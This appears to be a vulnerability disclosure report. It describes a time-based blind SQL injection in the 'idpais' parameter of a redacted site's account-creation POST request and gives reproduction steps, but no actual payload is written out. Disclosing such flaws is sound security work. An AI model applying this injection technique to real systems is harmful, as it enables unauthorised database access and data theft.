Description:

The resource doesn’t properly sanitize the “idpais” variable before putting it into a MySQL statement. This results in a Blind SQL Injection vulnerability. We can demonstrate the vulnerability by making the MYSQL server sleep for a while before responding.

Steps to Reproduce:

1) Goto this URL:

https://tools.redacted.com/en/mybox/new-account/

2) Now create an account and notice the “POST” Request and now Request becomes.

3) Vulnerable parameter “idpais” passed in POST , then we insert some Blind SQL commands.

4) Now we Found Time Based Blind SQL.

Request:

POST /en/mybox/finish-new-account/ HTTP/1.1

~The result should come out in around 5 seconds, thereby executing the sleep command.
